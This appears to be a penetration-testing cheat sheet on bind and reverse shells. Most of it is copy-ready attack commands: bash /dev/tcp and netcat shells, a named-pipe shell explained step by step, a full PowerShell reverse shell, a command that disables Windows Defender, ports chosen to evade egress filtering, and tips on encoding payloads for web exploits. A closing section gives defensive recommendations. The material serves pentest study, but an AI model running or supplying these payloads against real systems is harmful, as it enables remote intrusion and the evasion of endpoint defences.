πŸ›‘οΈ Methodology Checklist

  • Determine connectivity: can target reach attacker outbound? β†’ reverse shell
  • Egress blocked or NAT? β†’ bind shell on target
  • Reverse TCP one-liner (Linux): bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
  • Netcat listener on attacker: nc -lvp [LPORT]
  • Bind shell (nc on target): nc -lvp [LPORT] -e /bin/bash
  • Connect to bind shell: nc [TARGET] [LPORT]
  • Verify shell is working before proceeding

🎯 Operational Context

Use when: Deciding shell direction β€” reverse shell when outbound is open (most engagements); bind shell when attack box has no inbound connectivity. Think Dumber First: Always try reverse shell first. If your netcat listener gets a connection but no shell content β€” try -e /bin/bash vs -c /bin/bash vs /bin/sh syntax differences. Bind shell requires target to listen β€” check if firewall permits inbound to target. Skip when: N/A β€” fundamental concept reference.


⚑ Tactical Cheatsheet

CommandTactical Outcome
nc -lvnp 7777Start netcat listener (bind shell - victim side)
nc -nv [TARGET_IP] 7777Connect to bind shell (attacker side)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 7777 > /tmp/fFull Linux bind shell (victim runs)
sudo nc -lvnp 443Reverse shell listener (attacker) β€” use 443 to bypass egress filters
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc [TARGET_IP] 7777 > /tmp/fLinux reverse shell one-liner (victim runs)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('[TARGET_IP]',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Windows PowerShell reverse shell one-liner
Set-MpPreference -DisableRealtimeMonitoring $trueDisable Windows Defender real-time scan (lab only)

πŸ”¬ Deep Dive & Workflow

Bind Shell vs Reverse Shell

Bind ShellReverse Shell
Who listensVictimAttacker
DirectionAttacker β†’ VictimVictim β†’ Attacker
Firewall issueInbound blocked on victimOutbound rarely blocked
NAT issueYes (victim behind NAT = unreachable)No (attacker has public IP)
Best useInternal lab, no firewallAll enterprise environments

How the Linux Named Pipe Payload Works

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc [IP] [PORT] > /tmp/f
  1. rm -f /tmp/f β€” clean up any old pipe
  2. mkfifo /tmp/f β€” create named FIFO pipe (bidirectional data buffer)
  3. cat /tmp/f | β€” read commands from the pipe
  4. /bin/bash -i 2>&1 | β€” execute commands in interactive bash, merge stderr into stdout
  5. nc [IP] [PORT] > /tmp/f β€” send output to attacker; receive input back into pipe

This closes the loop: attacker types β†’ nc β†’ pipe β†’ bash β†’ output β†’ nc β†’ attacker.

PowerShell Reverse Shell β€” Context Matters

  • In CMD (C:\> prompt): Keep the powershell -nop -c prefix
  • In PowerShell (PS C:\> prompt): Start directly with $client = New-Object...

Port Selection Strategy

PortReason
443Mimics HTTPS β€” almost never blocked outbound
80Mimics HTTP
53DNS β€” rarely filtered
4444Metasploit default β€” avoid in real engagements, actively monitored

Bind Shell Troubleshooting

  • "Connection refused" β†’ Listener not started yet, or firewall blocking port
  • "Bind: Address already in use" β†’ Kill old nc process or change port
  • Bind to 0.0.0.0 (all interfaces), not a specific IP β€” interface binding can fail

Shell Dies on Disconnect

Once you disconnect from a netcat shell, it typically dies. Immediately upgrade to a stable shell or establish persistence after catching the connection.


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
nc reverse shell connects but no outputnc version doesn’t support -eUse: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [LHOST] [LPORT] >/tmp/f
Bind shell port filtered by firewallInbound blocked to targetSwitch to reverse shell; or bind on common port (80, 443) if available
Shell dies after 60 secondsConnection timeoutUpgrade to PTY: python3 -c 'import pty; pty.spawn("/bin/bash")'; background Ctrl+Z, stty raw -echo, fg
Windows bind shell nc.exe not presentNo nc on targetUse PowerShell: $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any,[PORT]); $listener.Start()
Reverse shell one-liner fails in web RCEShell metachar conflictURL-encode the payload; use bash -c '{cmd}' to wrap; avoid quotes in web context

πŸ“ Reporting Trigger

Finding Title: Reverse Shell Achieved via Remote Code Execution Impact: Interactive shell access provides full command execution context on the target system, enabling enumeration, credential harvesting, and pivot setup as the compromised service account. Root Cause: Remote code execution vulnerability allows attacker-controlled command execution. Outbound network filtering does not restrict established shell sessions. Recommendation: Implement egress filtering to restrict outbound connections from server workloads. Deploy EDR to detect shell spawn patterns (bash/cmd spawned by web processes). Patch RCE vulnerabilities promptly.